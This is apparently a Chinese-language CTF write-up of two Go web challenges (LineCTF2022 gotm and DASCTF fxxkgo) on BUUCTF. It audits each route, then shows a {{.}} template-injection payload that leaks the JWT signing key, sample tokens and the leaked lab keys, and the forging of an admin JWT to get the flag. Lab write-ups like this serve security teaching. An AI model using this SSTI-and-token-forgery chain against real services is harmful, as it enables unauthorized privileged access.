[LineCTF2022]gotm复现

开题前自我的概述:

最近要出道go题(之前都没写过,只是听说过连go语言还没学过),于是找了个go ssti题来学学,到底go 题的流程是怎么样的

参考博客:[LineCTF2022]gotm | 北歌(北歌师傅)

复现平台:BUUCTF

edae3ab5fed2e48c.png

下载好附件,我们开始代码审计

d9a4c36a6ba7a997.png

包含这些文件

其中

Dockerfile和run.sh还有go.sum,go.mod 是配置相关的文件

go代码审计主要审计的是main.go 文件

go代码审计

功能模块分析

这段 Go 代码的作用是导入声明表明

1
2
3
4
5
6
7
8
9
10
11
12
package main

import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"

"github.com/golang-jwt/jwt"
)

有个Account结构体,主要四个属性

1
2
3
4
5
6
type Account struct {
id string
pw string
is_admin bool
secret_key string
}

路由分析

有四个路由

1
2
3
4
5
6
7
8
9
10
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)

http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

我们一个一个路由来审计

/路由

我们先来看”/“路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {

return
}
}

先获取Token,如果有Token则用jwt解密,如果解密成功则显示用户的id,如果没有token直接返回空白

/auth路由

然后审/auth

用户登录部分

结构体部分

1
2
3
4
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
1
2
3
4
5
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}

获取用户传入的id和pw

1
2
3
4
5
6
7
8
9
10
11
12
13
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}

理解并分析一下代码:

如果我们输入了正确的id和pw(get_account有匹配uid的正确结果),

返回一个TokenResp的对象(json形式),里面存储了状态status,和jwt token,内容是id和是否为admin

/flag路由

然后我们审计“/flag”路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}

通过对传入的X-Token进行jwt解码,然后判断is_admin,如果为true就给flag

/regist路由

最后来看/regist路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")

if uid == "" || upw == "" {
return
}

if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
1
由这条语句:Account{uid, upw, false, secret_key}

路由中默认给is_admin为false,所以我们要想办法给is_admin为true

由于jwt编码过程中需要用到secret_key作签名密钥,secret_key是环境变量,就需要通过SSTI漏洞把secret_key

代码审计分析到此结束

做题分析

现在我们要利用go ssti注入获取key然后伪造jwt

go ssti 参考:https://forum.butian.net/share/1286

1
2
先说一下go的ssti,和jinja2的ssti类似,都是因为直接渲染拼接的字符导致插入了模板语言后执行
Go 语言内置了 text/template 和 html/template 两个模板库。如果开发人员没有正确使用这些库,可能会导致 SSTI 注入。例如,如果使用 text/template 处理用户输入,并且未对输入进行转义,攻击者可以插入恶意模板代码。

这道题的ssti漏洞产生的位置在

http.HandleFunc(“/“, root_handler)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token) #从jwt中解析出id属性
acc := get_account(id) #根据id,查找账户
tpl, err := template.New("").Parse("Logged in as " + acc.id) #acc.id存在SSTI
if err != nil {
}
tpl.Execute(w, &acc)
} else {

return
}
}

常规思路可以注入{{.}}{{.secret_key}}来读secret_key属性,但此处由于root_handler()函数得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以此处只能用{{.}}来返回全部属性

所以我们现在要去注册界面

访问我们在/regist页面进行注册

出现回显

1
http://9aa8cdd8-b760-441f-8860-f4275dc92ec0.node5.buuoj.cn:81/regist?id={{.}}&pw=pass

4cf5c853d5cc0dce.png

注册完之后我们开始去登录

然后我们访问/auth进行登录,得到token

1
http://9aa8cdd8-b760-441f-8860-f4275dc92ec0.node5.buuoj.cn:81/auth?id={{.}}&pw=pass

025a0fb7a03f798b.png

我们再回到最开始的页面,将token值传入X-Token头部,成功读到secret_key

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss
1
http://9aa8cdd8-b760-441f-8860-f4275dc92ec0.node5.buuoj.cn:81

40ac8922eddac677.png

这样我们就得到了关键的secret_key

1
this_is_f4Ke_key

修改jwt

我们修改jwt,将is_admin修改为true. (jwt 加密解密网站jwt解密/加密 - bejson在线工具

4c995996369df7d5.png

先把原来的jwt复制过来解码

之后我们再放入密钥,改变值为true

然后点击编码

复制jwt

再到/flag页面,将修改后的jwt传入token中

得到flag

b30cfc98002f1d81.png

总结:

go 类型的题目需要代码审计来理解

需要仔细分析每个路由的作用

jwt 加密解密需掌握

[2022DASCTF MAY 出题人挑战赛]fxxkgo复现

开题前的概述: 前面已经复现了一道go([LineCTF2022]gotm)题,看看这道题分析分析复现看看

(go ssti + jwt伪造)

复现平台:BUUCTF

6fd5dd7381fead04.png

下载好附件后,我们开始代码审计

2cba43e21a64b161.png

有这些文件 .idea 里面是一些配置文件,Dockerfile 是部署文件,go.mod 和go sum 是项目依赖文件

我们主要是看main.go

go代码审计

main.go内容

功能模块分析

这段 Go 代码的作用是导入声明表明

1
2
3
4
5
6
7
8
9
10
package main

import (
"encoding/json"
"fmt"
"github.com/gin-gonic/gin"
"github.com/golang-jwt/jwt"
"os"
"text/template"
)
1
2
3
4
5
6
type Account struct {
id string
pw string
is_admin bool
secret_key string
}

定义了 Account 结构体,有四个属性

路由分析

1
2
3
4
5
6
7
8
9
10
11
12
func main()  {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
r := gin.Default()
r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
r.Run(":80")

}

根据主函数我们可以得知它有5个路由

根目录的GET请求和POST请求进入的路由不相同,实现的功能也不同。这个题目其实就是按照路由走一遍然后就可以得到lag了,具体怎么走,看的懂go语言的兄弟可以思考一下,看不懂的我直接讲了,首先我们先去分析五个路由对应的函数实现了什么功能

一个一个来分析

/路由(GET)

1
2
3
4
5
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",
})
}

功能:进入之后输出json格式的信息

/路由(POST)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {

return
}
}

先获取Token,如果有Token则用jwt解密,如果解密成功则显示用户的id,如果没有token直接返回空白

flag路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unc flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}

通过对传入的X-Token进行jwt解码,然后判断is_admin,如果为true就给flag

auth路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
func authHandler(c *gin.Context) {
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}

获取用户传入的id和pw,

理解并分析一下代码:

如果我们输入了正确的id和pw(get_account有匹配uid的正确结果),

返回一个TokenResp的对象(json形式),里面存储了状态status,和jwt token,内容是id和是否为admin

register 路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func Resist(c *gin.Context){
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",.0
})
}

Account{uid, upw, false, secret_key}

路由中默认给is_admin为false,所以我们要想办法给is_admin为true

由于jwt编码过程中需要用到secret_key作签名密钥,secret_key是环境变量,就需要通过SSTI漏洞把secret_key

代码审计分析到此结束

做题分析

现在我们要利用go ssti注入获取key然后伪造jwt

go ssti 参考:https://forum.butian.net/share/1286

1
2
先说一下go的ssti,和jinja2的ssti类似,都是因为直接渲染拼接的字符导致插入了模板语言后执行
Go 语言内置了 text/template 和 html/template 两个模板库。如果开发人员没有正确使用这些库,可能会导致 SSTI 注入。例如,如果使用 text/template 处理用户输入,并且未对输入进行转义,攻击者可以插入恶意模板代码。

这道题的ssti漏洞产生的位置在

r.POST(“/“, rootHandler)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {

return
}
}

常规思路可以注入{{.}}{{.secret_key}}来读secret_key属性,但此处由于root_handler()函数得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以此处只能用{{.}}来返回全部属性

所以我们现在要去注册界面

访问我们在/register页面进行注册

出现回显

1
2
3
http://8d7710a9-008f-452c-80de-38d1aa7b90cb.node5.buuoj.cn:81/register
POST:
id={{.}}&pw=pass

218ad358431fdef9.png

注册完之后我们开始去登录

然后我们访问/auth进行登录,得到token

1
2
3
http://8d7710a9-008f-452c-80de-38d1aa7b90cb.node5.buuoj.cn:81/auth
POST:
id={{.}}&pw=pass

95ffdfdef3087d4f.png

我们再回到最开始的页面,将token值传入X-Token头部,成功读到secret_key

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo

4b87271e7697c76e.png

这样我们就得到了关键的secret_key

1
fasdf972u1041xu90zm10Av

修改jwt

我们修改jwt,将is_admin修改为true. (jwt 加密解密网站jwt解密/加密 - bejson在线工具

7c621e59bf823cc1.png

先把原来的jwt复制过来解码

之后我们再放入密钥,改变值为true

然后点击编码

复制jwt

再到/flag路由页面,将修改后的jwt传入token中

cc9c1867e9b422a3.png

总结:这道题和[LineCTF2022]gotm 高度相似,改了点代码(基本步骤都一样)

go语言代码审计得加强

jwt 加密解密基本掌握